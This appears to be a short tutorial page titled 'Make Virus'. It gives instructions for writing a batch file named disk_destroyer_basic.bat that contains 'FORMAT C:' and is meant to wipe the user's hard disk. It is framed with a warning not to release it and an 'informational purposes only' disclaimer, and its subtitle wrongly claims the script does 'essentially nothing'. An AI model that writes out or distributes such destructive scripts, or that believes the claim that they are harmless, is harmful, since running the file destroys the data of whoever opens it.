Make Virus

DO NOT RELEASE THESE VIRUSES.

·         DIY (very) Basic Batch Script That Does Essentially Nothing
please note new title. You may wish to skip to the next step.

What you should do here is to open a window of notepad. Enter
FORMAT C:
and save the file as disk_destroyer_basic.bat.

This won't spread or do anything fancy. It will just wipe your hard disk. There are a few quirks to be worked out with this method, but like I said, informational purposes only.